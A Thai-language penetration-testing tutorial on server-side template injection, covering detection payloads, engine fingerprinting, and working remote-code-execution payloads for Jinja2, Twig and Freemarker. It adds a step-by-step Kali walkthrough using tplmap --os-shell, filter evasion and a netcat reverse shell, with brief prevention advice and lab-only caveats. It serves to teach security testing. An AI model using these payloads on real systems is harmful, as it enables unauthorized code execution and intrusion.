Server-Side Template Injection (SSTI)
SSTI เกิดเมื่อ input ของผู้ใช้ถูกฝังเข้า template โดยตรงแล้วถูก engine ประมวลผล ทำให้แทรก expression ของ template language ได้ ในหลายกรณีนำไปสู่ remote code execution บทนี้เน้นการตรวจจับ ระบุ engine และยกระดับสู่ RCE
1. หลักการ
Template engine (Jinja2, Twig, Freemarker ฯลฯ) แปลง template + data เป็น output ปัญหาเกิดเมื่อแอปเอา input ผู้ใช้ไปต่อเป็นส่วนหนึ่งของ template เอง แทนที่จะส่งเป็น data — ทำให้ engine ประมวลผล expression ที่ผู้โจมตีใส่มา เช่น {{7*7}} ออกมาเป็น 49
2. ตรวจจับและระบุ engine
เริ่มด้วย polyglot payload ที่ทำให้เกิดผลต่างกันในแต่ละ engine แล้วดูผลเพื่อแยกชนิด:
${7*7} → ถ้าได้ 49 อาจเป็น Freemarker/หลายตัว
{{7*7}} → ได้ 49 = Jinja2/Twig (Python/PHP)
{{7*'7'}} → 49 = Twig, 7777777 = Jinja2 (แยก Twig vs Jinja2)
#{7*7} → Ruby ERB style
<%= 7*7 %> → ERB (Ruby)tplmap ตรวจอัตโนมัติ (เฉพาะ scope ที่ได้รับอนุญาต)3. ยกระดับสู่ RCE
เมื่อระบุ engine ได้ ยกระดับจาก expression evaluation เป็นการรันคำสั่งระบบ โดยไต่ object/class ของภาษาไปถึงฟังก์ชันที่เรียก OS — ตัวอย่างนี้สำหรับ Jinja2 (Python) ใช้กับ lab/CTF ที่ได้รับอนุญาตเท่านั้น
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}Twig: {{['id']|filter('system')}}
Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}4. Quick Reference
- ทดสอบ {{7*7}} → ได้ 49 = SSTI
- {{7*'7'}}: 49=Twig, 7777777=Jinja2
- ระบุ engine ก่อน แล้วเลือก RCE gadget ให้ตรง
- Jinja2: ไต่ __class__/__mro__/__subclasses__ หรือใช้ cycler/lipsum globals
- เครื่องมือ: tplmap (auto), PortSwigger SSTI flowchart
- ป้องกัน: ไม่เอา input มาต่อ template; ใช้ sandboxed engine + ส่งเป็น data เท่านั้น
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอ input ที่โผล่กลับมาในหน้าเว็บแบบดูเหมือนถูกประมวลผล (ไม่ใช่แค่ echo ตรงๆ) สงสัยว่าเป็น SSTI ทำตามนี้ทีละขั้น
- 1ทดสอบ payload คลาสสิก {{7*7}} ก่อน ถ้าได้ 49 กลับมา = เจอ Jinja2/Twig แน่นอน
- 2ถ้าไม่ได้ 49 ลอง polyglot อื่น: ${7*7}, #{7*7}, <%= 7*7 %> ไล่ทีละแบบดูว่าอันไหนได้ 49
- 3เมื่อได้ 49 จากแบบไหน ใช้ {{7*'7'}} แยก Twig (ได้ 49) ออกจาก Jinja2 (ได้ 7777777)
- 4ยืนยัน engine แล้วลองเข้าถึง object พื้นฐาน เช่น {{self}} หรือ {{config}} ดูว่า error/output เปลี่ยนไหม (บอกใบ้เวอร์ชัน)
- 5ไต่ chain ไปยัง RCE ตาม engine ที่ยืนยันได้ (Jinja2: __class__.__mro__...; Twig: |filter('system'))
- 6ถ้ามือลองเองไม่ไหว ใช้ tplmap --os-shell -u 'http://target/page?name=*' ให้เดา engine + เปิด shell อัตโนมัติ
- 7ถ้า payload โดนกรอง (เช่น { } ถูก strip) ลอง obfuscate ด้วย hackvertor หรือแยก payload เป็นหลาย request
- 8ได้ RCE แล้ว ยิง reverse shell กลับมาเครื่องเรา (revshells.com เลือกตาม OS/lang)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ทดสอบ payload มือ | Burp Repeater | already in Kali | - |
| เดา engine + เปิด shell อัตโนมัติ | tplmap | pip install tplmap (หรือ git clone) | - |
| obfuscate payload หลบ filter | - | - | hackvertor |
| encode/decode payload | - | - | CyberChef |
| เรียนรู้ SSTI flowchart | - | - | portswigger web security academy |
| เปิด reverse shell | nc | already in Kali | revshells.com |
| ตั้ง listener รอ callback | nc -lvnp | already in Kali | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้